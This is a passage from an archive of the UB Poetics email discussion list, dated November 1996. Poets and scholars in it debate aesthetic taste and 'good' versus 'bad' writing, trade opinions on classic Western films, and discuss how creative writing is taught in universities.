>had such an aversion to that poem, which i wasn't promoting as a "good poem"

How bad can it be? Would like to see it if possible?
tome bell

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568. Pierre Joris
Re: taste, judgment, etc...
Fri 29 Nov 1996

Kali Tal wrote:

> *I enjoy listening to Maria Callas recordings. I also like Coltrane and Miles, Ice T and Boogie Down Productions, Live and Nirvana, Ida Cox and Howlin' Wolf, Shirley & Lee and Johnny Guitar Watson (no relation to the Western movie), Aster Awake and Manu Dibango. "Good" is what works the best to do that thing you do.*
>
> *Kali*

yes indeed, Kali, or as Duke Ellington said: "If it sounds good, it is good."

Pierre

--
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

I do not believe that there ever was a question of being
abstract or representational. It is really a matter of
ending this silence and solitude, of breathing and
stretching one's arms again.

Mark Rothko

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569. Charles Alexander
Re: hon
Fri 29 Nov 1996

At 09:47 PM 11/26/96 -0800, you wrote:
>This is weird.
>At Daphne Marlatt's launch for her new book tonight I called her "Hon,"
>having known her since 1961.

George

Who is the publisher of Daphne's new book? Is it widely available?

charles alexander

---------- get off my back. the future fields into which I write are unimaginable. I do not know, any more than you do, what is around me, nor how far to go, nor precisely what I leave behind.

--Beverly Dahlen
from A Reading 8 - 10
published by Chax Press

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570. **Charles Alexander**
Re: M/M & westerns, deah
Fri 29 Nov 1996

At 04:21 AM 11/29/96 -0800, you wrote:
>Marjorie,
>
>What is M/M?
>
>I used to hear that line about there being no good or bad writing back
>when I was a student at Berkeley in the early '70s. It's an index of
>people who either can't read or who really don't want to be involved
>with literature, because they hate all of it.

And in the late '70's in grad school in a class supposedly on approaches to criticism I was taught quite seriously that "one should not write about literature one likes, because one can not be properly objective" about it. That is the remembered quotation, anyway. Strange workings, wouldn't one say?

charles

---------- get off my back. the future fields into which I write are unimaginable. I do not know, any more than you do, what is around me, nor how far to go, nor precisely what I leave behind.

--Beverly Dahlen
from A Reading 8 - 10
published by Chax Press

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571. **Victor Grauer**
Re: taste, judgment, etc...
Fri 29 Nov 1996

At 01:06 PM 11/29/96 -0500, Eliza McGrand wrote:
>i have trouble with the "no good no bad literature" school. it seems to
>be part of the devaluing of writing, literature, reading in general.

<snip>

> *in other words, i think writing poetry is a skill, just like playing the violin, like dancing, like being a surgeon, and it deserves the same respect. there is a craft, there are more effective skilled ways to shape something and less so... within the craft, there is, say, the violinist for the Cheiftans, and there is the BSO symphony violinist, and they are both very good but very different.*

<snip>

I am in strong sympathy with the above, but must add: art is short, craft is long. We cannot, must not confuse art with craft. Art is short, craft is long. Many artists have worked hard to shed craft (e.g., Picasso, Ginsberg, Cage, etc., etc.) in order to get more deeply in touch with their art. Art can be intimately tied to immediacy, spontaneity -- craft cannot. And yes, "anyone" (meaning someone with little or no training) *can* produce a work of art, even a great work of art. But it takes many years of dedicated work to produce even decent craftsmanship. Great craftsmanship can take a lifetime.

So:

1. skill and training are required for craftsmanship, not art.

2. Fine craftsmanship should by no means be regarded as inferior to art.

3. Most serious artists ultimately become fine craftsmen in any case, simply because it requires craftsmanship to get what you *want* (as opposed to something that is "merely" art).

4. Even if art is not craft, art criticism definitely is. Therefore, anyone, even a great artist, cannot simply declare her/himself a great artist. Nor can just anyone make judgements on art that are deserving of our respect. Only someone who has spent years perfecting the craft of critical looking and thinking is in a position to pronounce a work of art good or bad.

5. A really fine critic would know better than to pronounce a work good or bad in any case. Criticism is not a matter of opinion, but revelation.

Victor (art is short, craft is long) Grauer

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572. **wkl888**

Once Upon a Time in the West, etc.

Fri 29 Nov 1996

Thu, Nov 28, 1996 1:40 PM EDT, [redacted] wrote:
>But you've left out _Once Upon A
>Time in the West_, in my opinion the most grandly poetic >Western of all.

One of the Great Westerns yes-certainly among the 2 or 3 most remarkable spaghetti Westerns-but to me "grandly" poetic misdescribes the paranoically tight close-ups (of sliding interlocked gazes, objects in rooms, sudden glints and spills of sunlight, etc.) that so much of the film's psychology relies on. The viewer is not freely roaming in a vast plain (grand), but always already anxious about sighting and being sited. From another angle, it's like a grafting of international anime techniques from comic strips and animation back into one of

their source genres. Also, it's a Western w some of the most effectively "true grit", as in the train scenes and the way the light often seems to fight its way through a rough static dust. Also definitely reveals that Henry Fonda should have played more VILLAINS in his career; I think it's his best role, aside from the young buffoon tycoon playboy in... Can anyone help me w the title? His co-star was Barbara Stanwyck as a gambling cheat's daughter aboard an ocean-liner-Preston Sturges wrote the very witty script... In any case, I'd like to throw another Western title into the hat: Jodorowsky's _El Topo_, in which gun-slinging, Zen paradox, Todd Browning's midgets, Judaeo-Christian apocalypse, mystic quest tale, and frontier town fuse (jeez, beginning to sound like J. Hoberman in the _Village Voice_) into one potent hallucinogen, or at least that's the way I felt when I saw it several times in college. I believe that Jodorowsky's actors sat in a circle and drank freshly drawn horse blood before each day's shoot in the desert; my friends and I ingested other preparations before going to the theater and hardly made it back to the dorm. It's a Western in which the characters that lose the duel win.

Q: What's the title of the Western in which a young Wm. Shatner plays a gun-slinger who battles his twin? It's full of mirrors.

Walter K. Lew
c/o Prof. J. Chang
English Dept.
Boston College
Chestnut Hill, MA 02167

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573. **Bradford J Senning**

Re: the West

Fri 29 Nov 1996

On Thu, 28 Nov 1996, Rachel Loden wrote:

> "*Well, I tell ya pardner... I wouldn't give two hoots in hell about what some sodbustin' - high fallootin' - howdy handy from Harvard has to say about the West. This here country was overrun with sidewindin' - two timin' - lowdown - cracker croakers a tryin' to run us off our land!*"
>
> *--somebody in "Blazing Saddles," probably not Lili Von Schtupp*

I believe the "somebody" you are looking for is Gabby Johnson (at least the last name is certain, as everyone in the town of Rock Ridge is named Johnson - in-breeding I suppose). You may want to double-check your source; the quote is quite mangled.

-bradford senning

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574. **Bradford J Senning**
Re: westerns and dead white men,
Fri 29 Nov 1996

On Fri, 29 Nov 1996, Joel Felix wrote:

> *Dead Man?*
> *... I thought the opening 15 minutes with Christian*
> *Slater (did anyone else see him Karate kick david letterman with his*
> *platform shoe in 1988, it was a seminal event in my late adolescence)*

umm... I've never seen Dead Man myself... but I did see David Letterman almost shit his pants when *Crispin Glover* shot a karate kick over his desk and come within inches from his nose. It's an image I'll never forget and have developed a certain respect for Mr Glover that transcended his great movie roles (one of which, the stoner friend of Keanu Reeves in The River's Edge, was a true story about a murder in my home town of Milpitas. -anybody catch that flick?). I'm not a Letterman enthusiast and don't catch many of his shows, so I don't know if Christian Slater attempted the same feat. Wouldn't that be interesting - cataloguing the guests who have taken swings at Letterman (or how many wanted to)?

-bradford senning

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575. **Judy Roitman**
Re: taste, judgment, etc...
Fri 29 Nov 1996

Originally sent a version of this just to Maria, but having read other folks' stuff thought I'd throw this into the stew (Maria I changed it in response to other comments):

How about meticulousness and attention to the genre (even if you're inventing one on the spot, e.g., Stein, Cage, Bill Monroe, Bob Dylan -- no hi/lo distinctions here!) as opposed to, say, self-expression (which notion gives me the creeps)? It isn't a question of wanting to be better. It's more a question of lineage, heritage, transmission (2 Buddhist words and a Jewish one there, my standpoint is showing). Once you place yourself in a genre you run the risk of failing, at least comparatively, while if you are not caring about genre you can't possibly fail. Does any of this make sense? My cousin Deborah Kahn is a painter who spends

weeks, even months, putting paint on and scraping paint off the same canvas. Why doesn't she just stop the first time? That's a very important point.

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

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576. **Kali Tal**

Re: Once Upon a Time in the West, etc.

Fri 29 Nov 1996

> *Thu, Nov 28, 1996 1:40 PM EDT, [redacted] wrote:*
> *But you've left out _Once Upon A*
> *Time in the West_, in my opinion the most grandly poetic >Western of all.*
>
> *One of the Great Westerns yes-certainly among the 2 or 3 most remarkable spaghetti Westerns-but to me "grandly" poetic misdescribes the paranoically tight close-ups (of sliding interlocked gazes, objects in rooms, sudden glints and spills of sunlight, etc.) that so much of the film's psychology relies on. The viewer is not freely roaming in a vast plain (grand), but always already anxious about sighting and being sited. From another angle, it's like a grafting of international anime techniques from comic strips and animation back into one of their source genres. Also, it's a Western w some of the most effectively "true grit", as in the train scenes and the way the light often seems to fight its way through a rough static dust.*

You're right about this, Walter. "Grandly poetic" applied only to the themes the film addresses, not to the cinematography/directing, which is exactly as you describe it. It's just that there's something so... grand... about the Bronson/Robards/Fonda juxtaposition. They are all three much larger than life, a pantheon rather than a character set. And when they're all shot so close, it just makes them look bigger--sort of like Hopkins surging out of his too-tight prison jumpsuit in _Silence of the Lambs_.

Kali

Kali Tal
Sixties Project & Viet Nam Generation, Inc.
PO Box 13746, Tucson, AZ 85732-3746
[redacted]
Sixties Project: http://jefferson.village.virginia.edu/sixties/

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577. Eliza McGrand- CVA Guest
Re: M/M & westerns, deah
Fri 29 Nov 1996

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i think M/M is Marilyn Munroe...
e

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578. maria damon
Re: taste, judgment, etc...
Fri 29 Nov 1996

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folks, sorry if u get this twice, something happened on my computer so i don't know:
> thanks all for your replies. i hesitate to post the poem because, well,
> because i've had such terrible experiences showing it. i showed a video clip
> of it at a conference at albany that some of you were at and i could hear the
> moans and groans. one person wouldn't talk to me for the rest of the
> conference, and i could see others sort of more diplomatically revising their
> opinions of me as a professional, which revision was reflected in the way
> they treated me --friendly but --a bit distant, if you know what i mean. my
> closest friend in california, whom i've known now for over ten years, and i
> had our first serious fight over this poem. we had to agree not to discuss
> it any more. i've cleared the air w/ the editor about my thinking he was
> threatening not to run my piece (he says wasn't, he was saying, "let's think
> about how to handle this") but the issue as a disciplinary and aesthetic one
> remains. is the whole world like my department? i hope not. i feel
> heartened by those who talk about the cultural work a piece does. these are
> the questions i find most rewarding to pursue. aesthetics are not ancillary
> to this type of inquiry, but what those aesthetics are have to vary. at the
> same time i need to say that i would never write about something that doesn't
> move me. so i'm not simply picking some mass cultural artifact out of the
> blue and saying, oh let's analyze this just to show that it can be done. if
> what moves me strikes the vast majority of my colleagues as dreck, what can
i
> say? when i heard folks in my dept say stuff like, "the problem w/ cultural
> studies is that you don't get to work on the truly great works of
> literature," i thought i'd died and been sent to hell. i'd be really freaked
> out if the rest of the world followed this retrograde view. as for
> ethnopoetics, and this is delicate territory because i have great respect for
> the "movement" and its practitioners and their project in many ways res-
onates
> with my concerns it seems that the ethnopoetic scholars and poets have for

> the most part still been guided by a post-romantic modernist aesthetic that
> posits a "universal" and transcendent standard of verbal beauty. that is why
> one reason the anthologies can be so comprehensive and global; what holds the
> artifacts together and makes the anthologies cohere conceptually is precisely
> a notion of shared, even universal value. i guess, and this is a banality,
> people find vastly different things moving. i was always more drawn to those
> old ballads where people get murdered and murder their children etc than to
> the poetry we were reading in school, like those anthologies "some haystacks
> don't even have any needle," or "reflections on a gift of watermelon pickle."
> i enjoyed talking about the latter in class, but the poems didn't make my
> hair stand on end the way, say, the millions of versions of "tamlin" in
> campbell and sharpe's "english folk songs from the southern appalachians"
> did. i guess i'm a sucker for melodrama and, well, the dark end of the
> street. abjection, wierdness, histrionics. maybe the sound of a significant
> other singing in the shower might move me more than elizabeth schwartzkopf on
> the stereo, tho' it's hard to beat those first lovers' arias in la boheme for
> emotional drama. oh well, my modem just timed me out so i'm obviously
> wearing out my cyberwelcome.--thanks for listening to my histrionix --maria d
>
>
>
>
>

↑ Index

579. **wkl888**

One down, one to go

Fri 29 Nov 1996

Just answered my own Q abt the Henry Fonda/Barbara Stanwyck film: "The Lady Eve". But wd still appreciate help w the young Wm. Shatner Western w mirrors.

WKL

↑ Index

580. **Victor Grauer**
Re: taste, judgment, etc...
Fri 29 Nov 1996

At 05:51 PM 11/29/96 -0600, maria damon wrote:
>> thanks all for your replies. i hesitate to post the poem because, well,
>> because i've had such terrible experiences showing it.

<snip>

C'mon maria, we gotta see this poem. *I* gotta see this poem. We promise to be nice. Besides hardly anyone's here, they're all off on vacations. So now's a good time to squeeze it in.

Victor Grauer

↑ Index

581. **DS**
Re: taste, judgment, etc...
Sat 30 Nov 1996

I hate jetskis.

dan

> *I've encountered recently, from more than one friend of mine, the statement "I hate jazz." This seems to me a very problematic exercise of "taste." To cordon off entire cultural areas like this. & seems a fairly regular occurence in this culture actually which may have replaced other sorts of prejudice among those with some degree of education-- prejudice moved into genres of culture rather than more crass expressions of prejudice. "I hate reggae" "I hate opera" "I hate Bob Dylan"(he's his own genre ya know, or more appropriate to say in dismissing him you're dismissing an entire tradition) "I hate _____." It seems to me one has to _try_ & withold value judgments when first encountering a work of art, music, whatever. Again, to see what it's _doing_, yet people's reactions at times seem so _visceral_ -- they're not willing to grant an artwork a valid context at all. They're wrong about this.*
>
> *--Rod*

↑ Index

582. **DS**
Re: taste, judgment, etc...
Sat 30 Nov 1996

Then again didn't burroughs say if a thing is worth doing its worth doing badly

or something,

dan

> *yes indeed, Kali, or as Duke Ellington said: "If it sounds good, it is good."*
>
> *Pierre*
>
> *--*
> *pierre joris 6 madison place albany ny 12202*
> *tel/fax* [redacted] *email:* [redacted]
> *http://writing.upenn.edu/epc/authors/joris/*
> *http://www.albany.edu/~tm0900/nomad.html*
> *----------*
> *I do not believe that there ever was a question of being abstract or representational. It is really a matter of ending this silence and solitude, of breathing and stretching one's arms again.*
>
> *Mark Rothko*

↑ Index

583. **DS**
Re: Once Upon a Time in the West, etc.
Sat 30 Nov 1996

Voice from New Zealand again says check out our greatest western & we have had severl + 'Utu' dir Geoff Murphy. Fantastic sprawling film.

dan

↑ Index

584. **Aldon L. Nielsen**
Re: the good, the bad, and the ugly
Sat 30 Nov 1996

I've had an experience a bit like Maria's -- The shortest rejection letter I ever received for an essay said, and said nothing more about the essay, that the two

readers "couldn't warm up to the poetry" I was discussing (which was by Steve Jonas) --

I seem always caught between people who want to assign their own aesthetic principles to eternity ("there is a good and bad, measurable, hovering out there beyond my own set of experiences somewhere") and those who deny that there is any possibility of discussing the "goodness" or "badness" of any individual work of art -- Why is it so often so difficult to get a discussion going with each other about the nature of our aesthetic judgements and how they got that way?

Worst recent example came during a discussion at PAMLA in Irvine this month -- A professor of German rose to avow that there simply wasn't enough time to spend reading contemporary works -- we should attend only to those which have withstood the test of time -- and besides, he announced, nobody could tell what was "good or bad" in contemporary art anyway -- I responded that a refusal to read the contemporary was an abdication of the very testing of time to which he appealed -- He was later heard to refer to me as "one of those Cal State people" -- ah well,,,

I've got an essay in that forthcoming _Diacritics_ too (there's another long story) -- a longer version of the talk I gave at Orono on Russell Atkins --

Damn, these Turkey leftovers make good eating while watching latenight westerns on the tube!

↑ Index

585. **Aldon L. Nielsen**
Re: half-Danes of the Western world, Unite
Sat 30 Nov 1996

Maria -- Ever visit that Danish tourist village North of Los Angeles?

↑ Index

586. **maria damon**
Re: half-Danes of the Western world, Unite
Sat 30 Nov 1996

In message <[redacted]> UB Poetics
discussion group writes:
> Maria -- Ever visit that Danish tourist village North of Los Angeles?

no, but i heard of it. what's it like? when my mother visited mpls recently i thought she'd be charmed by the great evidence of her countrymen here in the northland. instead she pulled me aside and said you know, the white people here are really very boring looking.

↑ Index

587. **maria damon**
Re: the good, the bad, and the ugly
Sat 30 Nov 1996

---

aldon rites:
>
> I've got an essay in that forthcoming _Diacritics_ too (there's another
> long story) -- a longer version of the talk I gave at Orono on Russell
> Atkins --
>
>
who edited this issue? (subtext: damn! how come *I* don't have an essay in that
forthcoming Diacritics?)--md

↑ Index

588. **maria damon**
Re: taste, judgment, etc...
Sat 30 Nov 1996

In message <[redacted]> UB Poetics discussion group
writes:
> I hate jetskis.
>
> dan
>
>
what are jetskis? is this an ethnic slur? or waterskis?

↑ Index

589. **Pierre Joris**
Re: half-Danes of the Western world, Unite
Sat 30 Nov 1996

Thinking of Danes, does anybody on the list know anything about a
contemporary Danish composer called Per Norgard (slash through the o;
small circle on a)-- he has done, so I am told, an opera based on the
life of the poet/paintert/schizo Adolf W?lfli, broadcast on Danish tv a
few years ago?
--
==========

pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

"A book has to be the axe for the frozen sea inside us.
This I believe."

(Kafka, Letter to Oskar Pollack 27 Jan 1904)
==========

↑ Index

590. **Chris Stroffolino**
Re: taste, judgment, etc...
Sat 30 Nov 1996

---

hello rod---i don't know if this is going to you personally or to the list--but it doesn't really matter in a way--anyway just wanted to let you know i'm back on again (DUH!) and that i was in a bookshop with l"sl" j and was looking at the terrible magazine "george" (sorry, it's just TASTE--really i may change my mind tomorrow!) and noticed that they stole your ON YOUR KNEES, CITIZEN" idea---hey maybe I'm legally liable (labile?) saying this and it would be great to be SUED...just think what it did for ginsypoo.....yours in "myth"--cs

↑ Index

591. **maria damon**
Re: half-Danes of the Western world, Unite
Sat 30 Nov 1996

---

pierre, i dont know anything about danish high culture so i cant help you (ask about food, cross-stitching or farm animals, though) --but i didn't realize wolfli was a poet too. can u post a small sample of his writings, as well as tell us how to get hold of it --is it translated?--md

In message <[redacted]> UB Poetics discussion group
writes:
> Thinking of Danes, does anybody on the list know anything about a
> contemporary Danish composer called Per Norgard (slash through the o;
> small circle on a)-- he has done, so I am told, an opera based on the
> life of the poet/paintert/schizo Adolf W?lfli, broadcast on Danish tv a
> few years ago?
> --
> ==========
> pierre joris 6 madison place albany ny 12202

> tel/fax [redacted] email:[redacted]
> http://writing.upenn.edu/epc/authors/joris/
> http://www.albany.edu/~tm0900/nomad.html
> ---
> "A book has to be the axe for the frozen sea inside us.
> This I believe."
>
> (Kafka, Letter to Oskar Pollack 27 Jan 1904)
> ==========

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592. **amato**

Re: Once Upon a Time in the West, etc.

Sat 30 Nov 1996

---

walter, one of only two flicks of shatner's that i *haven't* seen, according to this film ref. i've got sitting here next to the tube, is *hour of vengeance* (italian, 1968)... is this the film you're thinking of?...

while we're at it: those of you who haven't seen shatner as a racist in roger corman's *the intruder* (1962) should run right out and try to locate this one... powerful flick...

aside from the apt interpretations thus far rendered wrt leone's *once upon a time*, i think one of the key elements that stands out is the sheer humor of his work... it's bloody and balletic and alla that, and the close-ups 'sweat,' yes, but so much of it is so downright funny... in fact, i think this is where/how leone redirects the traditional western mythos so that he gets some mileage toward the sublime/grand... note the threes in his best two westerns---bronson/fonda/robards and eastwood/van cleef/wallach... it's the low-down dirty (gun)fighter---wallach (the ugly) or robards (cheyenne)---who mediates twixt the bad (van cleef or fonda) and the "good" (bronson or eastwood---bad when they're good, and better when they're bad, to riff on mae west)... wallach is a bit of a clown, referring to eastwood as "blondie," crossing himself every time he kills somebody, and setting up (with eastwood) that phony bounty hunting-hanging motif that frames the flick... and in robards' entrance he's trying to find somebody who knows how to "play"... recall his shooting the guy in the train with a gun in his boot... i nearly split my sides when i first saw that scene... but the point is that the humor bumps right up against death---i mean, the guy whose face is staring at the boot dies, robards dies, and if blondie didn't have a sense of humor at the end of *the good, the bad, and the ugly*, wallach would die too... even the punch-line of *once upon a time*, the revelation of that harmonica tune, is a form of poetic justice that turns on a certain sadistic sense of humor...

a bit too neat perhaps, but this is how i see the larger-than-screen-life emerge---naturally, it's the 'good' and the 'ugly' who bond against the bad, the really bad... so both flicks are in essence buddies flicks, with morality addressed only as figured in the extremes of evil, and comic relief or smartassedness (like quips out of a comic book, yes) as a way to neutralize (or punctuate, if you see it this way) both the homoeroticism and the reality of death...

geez i really love those films!...

joe

↑ Index

593. **Thomas M. Orange**
teaching good/bad writing: good/bad?
Sat 30 Nov 1996

---

hi folks,

i hear another topic rumbling in the distance. i'm curious to hear what people think about teaching and awarding degrees in creative writing at the university. i've heard it argued (convincingly to my mind) as (yet) a(nother) attempt by the academy to reign in and disseminate an "official verse cultural" (is this charles b's term for it?), and also to respond to the market shift for products (courses) more desirable /attractive to students. theoretically, an established writer brings prestige and attracts talented students; but more often, a little-known writer with an m.f.a. and several books gets hired to teach (scare quotes? can the writing of poetry/drama/fiction be taught?) writing to students who will be awarded an m.f.a. publish several books and hope one day to land a writer-in-residence post themselves.

t.

```
 ____________________________________________
|       Rien n'aura eu lieu que le lieu        |
| Nothing will have taken place but the place  |
|                - Mallarme -                  |
~~~
```

landscape the way he has, above all in "Clementine"). Glad to see others mention Peckinpah and Leone, and that Joe mentioned the great Anthony Mann, who used Jimmy Stewart as well as any director with the exception of Hitchcock in films like "The Naked Spur" & "The Far Country."

Thanks Kali, for mentioning Slotkin's _Gunfighter Nation_. Great book, although his two earlier ones in the series in my opinion are even better: "Regeneration Through Violence_, and _The Fatal Environment_. I'm using all three to support arguments in a paper I'm working on about the function of the Mexican border in Peckinpah's "Wild Bunch," "Alfredo Garcia," and "Major Dundee" (Peckinpah's equivalent of Welles's "Chimes at Midnight" and "Othello" - i.e. a mutilated masterpiece). I'm also thinking of throwing "The Professionals" into the mix (a film wholly unmarred by Richard Brooks' usual affectations and pretentiousness) as well as Robert Aldrich's way cool "Vera Cruz," with Gary Cooper & Burt Lancaster, a film that in 1954 foreshadowed Peckinpah & Leone and effectively undercut the mythological style of Ford et al. with its sharp critique of heroism and its cynical humor.

I've always thought "Shane" grossly overrated though George Stevens has a marvellous eye to be sure. Ditto for "High Noon." I prefer the Hawksian riposte of "Rio Bravo." And "Butch Cassidy" is just for me, egregious beyond belief, a thoroughly denatured Western (Sorry Joe). Compared to "The Wild Bunch" which was released the same year - well there is no comparison. Wm. Goldman raises my hackles while George Roy Hill got all the credit for the famous cliff jumping scene that was taken shot for shot from Henry Hathaway's much better 1939 "Jesse James" with Hank Fonda & Tyrone Power. (I suspect Hathaway prob. stole it himself from some film in the silent era when stunt doubles were routinely killed performing outrageous stunts). Hill hardly strikes me as the postmodernist type (though his "Slaughterhouse 5" is quite good).

As for Wyatt Earp, I'd take "Tombstone" over the Costner pic any day. I had occasion while in Hollywood to read an unpublished MS. by Earp scholar Glenn Boyer out of Univ. of Tuscon I think and though the film is fairly authentic in all the details in the end it seemed nothing but details - I found it unbearably tedious. Ford had the right idea - "print the legend." Or if you're Leone & Peckinpah, deconstruct it.

Back to the leftovers,
Patrick Pritchett

From: amato
To: POETICS
Subject: Re: M/M & westerns, deah
Date: Friday, November 29, 1996 9:31AM

i wouldn't even know where to start re westerns, i've seen so many of 'em... so this will be FUN (thanx tom!)...

my darling clementine, like ron sez, is just beautiful in terms of its staging, use of landscape, incredible b & w cinematography (i happen to like the acting lots too, but that's another story)... you can watch it with the volume OFF---no shit... sergio leone surely learned from john ford (in addition to kurosawa, i mean, who as all film buffs know learned from american westerns that themselves imitated ETC.)... i don't have that wayne allergy ron speaks of---i'll go for *the searchers* as his and director ford's best western (wayne was so infuriating during the late sixties and early seventies i can understand being allergic, ron)...

i've always loved *the good, the bad, and the ugly*, to add to kali's *once upon a time in the west* as my two favorite leone westerns (and kali---i just LOVE lee marvin's last line from *the professionals*!)... and we may as well throw the recent (kevin costner) *wyatt earp* (not bad, finally) up against *tombstone*, and throw in the older *gunfight at the ok corral* too (given this latter's remarkable cast, and that john sturges directed, same guy who did *the magnificent seven*---which latter i'm addicted to)... and what about *the ox-bow incident*---a horse opera that's really about lynching?... or *high noon*, or *the gunfighter*, or *duel in the sun*, or *one-eyed jacks*, or *the big country*, or *red river*, or *shane*, or *destry rides again* (the first destry), or *valdez is coming*, or *little big man*, or *will penny*, or *high plains drifter*, or *butch cassidy and the sundance kid*---

and how bout the early west, something like (the newest of FOUR versions, with daniel day-lewis) *the last of the mohicans*?---

and how much do we want to bend the genre? b/c *dirty harry* is clearly a cowboy-cop flick (which eastwood and don siegel played with three years ealier in *coogan's bluff*)---

and what about the silent era, from *the great train robbery* to harry carey's one- reelers to tom mix and william s. hart and hoot gibson and---? b/c the west played a key role here, before sound, in terms of landscape and motif and early film 'language'---and around, say, 1915, the west was still what many folks think of as the west---

but here's three favorites from that genre that haven't made it yet to anybody's list... anybody ever seen *the ballad of cable hogue*, sam peckinpah's one time surrealist western venture (with jason robards and stella stevens)?... and how bout (and here i'm picking my favorite from a half-dozen, on-location anthony mann gems) *the naked spur* (an older, more grizzled james stewart, with robert ryan and janet leigh)... and what about, say, *johnny guitar*---sure to please those of you yearning for a postmodern retrospective (leonard maltin

always notes that the plot from this flick was lifted for leone's *once upon a time*)... mercedes mccambridge and joan crawford are remarkable...

and how bout one i haven't seen (been scouring the video stores for same), jim jarmusch's *dead man*, with johnny depp (playing an accountant from cleveland name of 'william blake'), gary farmer (as a native american outcast name of 'nobody'), gabriel byrne, lance henriksen, robert mitchum (yeah---short on women folk, like so many westerns (save for mebbe *westward the women* or *hannie caulder*))... sounds like a winner, but i'll have to wait to see... mebbe somebody out there has caught it, wonderin what you think if so...

and to extrapolate from ron's remarks re tv westerns: for me, early, b & w tv IS the west... from *the twilight zone* to *lost in space* to *bonanza*, so much of it utilizes western (or west coast) landscapes that when i first actually SAW the west (being from upstate ny originally), i felt like i was watching tv...

joe, stuffed with stuffing

↑ Index

595. **Pierre Joris**

Re: teaching good/bad writing: good/bad?

Sat 30 Nov 1996

Thomas M. Orange wrote:
>
> hi folks,
>
> i hear another topic rumbling in the distance. i'm curious to hear what
> people think about teaching and awarding degrees in creative writing at
> the university. i've heard it argued (convincingly to my mind) as (yet)
> a(nother) attempt by the academy to reign in and disseminate an "official
> verse cultural" (is this charles b's term for it?), and also to respond to
> the market shift for products (courses) more desirable /attractive to
> students. theoretically, an established writer brings prestige and
> attracts talented students; but more often, a little-known writer with an
> m.f.a. and several books gets hired to teach (scare quotes? can the
> writing of poetry/drama/fiction be taught?) writing to students who will
> be awarded an m.f.a. publish several books and hope one day to land a
> writer-in-residence post themselves.
>
> t.

tom -- that's been going on for a half century in US hackademia -- one way into is through Jed Rasula's THE AMERICAN POETRY WAX MUSEUM.

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

"A book has to be the axe for the frozen sea inside us.
This I believe."

(Kafka, Letter to Oskar Pollack 27 Jan 1904)
==========

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596. **aerialedge**
Re: taste, judgment, etc...
Sat 30 Nov 1996

Chris, welcome back--

I don't care if somebody used the prayers for the school idea. I hope they didn't steal the title too though.

--Rod

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597. **Pierre Joris**
Re: half-Danes of the Western world, Unite
Sat 30 Nov 1996

---

maria damon wrote:
>
> pierre, i dont know anything about danish high culture so i cant help you (ask
> about food, cross-stitching or farm animals, though) --but i didn't realize
> wolfli was a poet too. can u post a small sample of his writings, as well as
> tell us how to get hold of it --is it translated?--md
>

Maria -- for sample poems check Rothenberg/Joris POEMS FOR THE MILLENNIUM, p. 80 ff. In our commentary we quote Elka Spoerri as saying:
"... With the exception of a few extracts his extensive narrative work
has remained unknown. The narrative work is composed of 44 illustrated
books (20,000 pages, with over 1400 drawings and over 1500 collages)
with epic texts, dialect poems, sound poems and musical compositions.
..." Very little has been translated into English -- Pierre

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
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"A book has to be the axe for the frozen sea inside us.
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(Kafka, Letter to Oskar Pollack 27 Jan 1904)
==========

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598. **Pritchett,Pat**

Re: westerns

Sat 30 Nov 1996

Kali,

For that matter, Ford's "Fort Apache" (1948? - one of my faves) cld. also be considered as a Viet Nam war movie. Slotkin actually thinks that Ford was making a statement about Douglas Mac Arthur, under whom he served. Ironically, the same MacArthur who advised JFK to "avoid a land war in Asia." Which is to say, "every war creates its own cinematic precursors"? This is Slotkin's thesis - that the ideology which made Vietnam possible was already well in place by the 19th Century and owes its formation to initial European contact with Native Americans, as expressed in captivity narratives by people like Mary Rowlandson,etc.

Patrick Pritchett

From: Kali Tal
To: POETICS
Subject: Re: westerns
Date: Thursday, November 28, 1996 11:46AM

> *As a matter of curiosity, on the subject of the Western as poetic act, how many have seen*
>
> *The Man Who Shot Liberty Valance?*
> *The Shootist*
> *The Searchers*
> *My Darling Clementine*
> *Tombstone*

I've seen all but _My Darling Clementine_. But you've left out _Once Upon A Time in the West_, in my opinion the most grandly poetic Western of all. And _The Professionals_. And, of course, _The Magnificent Seven_ (which might be more operatic, come to think of it). But, of course, once we start talking about film as "poetic act," we begin to lose the distinctiveness of poetry as poetic act.

I count _The Searchers_ as a Viet Nam war movie (along with _The Professionals_, _Ulzana's Raid_ and _The Wild Bunch_). Check out Richard Slotkin's _Gunfighter Nation_ for an interesting analysis all four films....

Kali

Kali Tal
Sixties Project & Viet Nam Generation, Inc.
PO Box 13746, Tucson, AZ 85732-3746
[redacted]
Sixties Project: http://jefferson.village.virginia.edu/sixties/

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599. **amato**

Re: teaching good/bad writing: good/bad?

Sat 30 Nov 1996

---

thomas, the teaching of creative writing in the (u.s.) university goes back decades, as i'm sure you know... i mean, creative writing has an institutional history, like technical writing, say... and sometimes it's surprising to see how such fields were initially envisioned...

since i teach, i'm prone to making statements re creative writing from this orientation, esp. b/c i know of *no* writers who aren't initially exposed to 'creative writing' through the educational system (whether in grade school, in the form of ostensibly innocent notions of poetry, or college-level writing courses)... so i'm always hankering to find a better way to teach creative writing, to counter the more insidious uses of this curricular slot (so to speak) to generate its own internally pseudo-consistent industry... seems to me much can be done under the auspices of "creative writing" that generally isn't done... and every time i see the words "national publication required" (and equivalents) in ads for creative writing positions my stomach hurts---i see this as catering to the notion of visiting talents who by their sheer presence (which relates to a telos of presence in general) will somehow provoke more or better learning... if this latter isn't simply a dodge, i mean, that obscures the very real institutional influence that talent, perceived as such, can wield...

anyway... one thing to note up-front: that talk about creative writing usually falters on the line between the history of writing instruction (that's us

academic-professionals) and the history of writing as such (that's us poets who see ourselves as poets, but other writers around here too of course, who may or may not appreciate the term "professional")... i should have writ "histories" in both cases, as these relate to the various genres... depending on how one situates oneself as a writer, one will likely draw on a composite of such histories... personally, i wouldn't ignore either, anymore than i would throw away the tag 'professional' (which latter could stand some serious leftist rehab)...

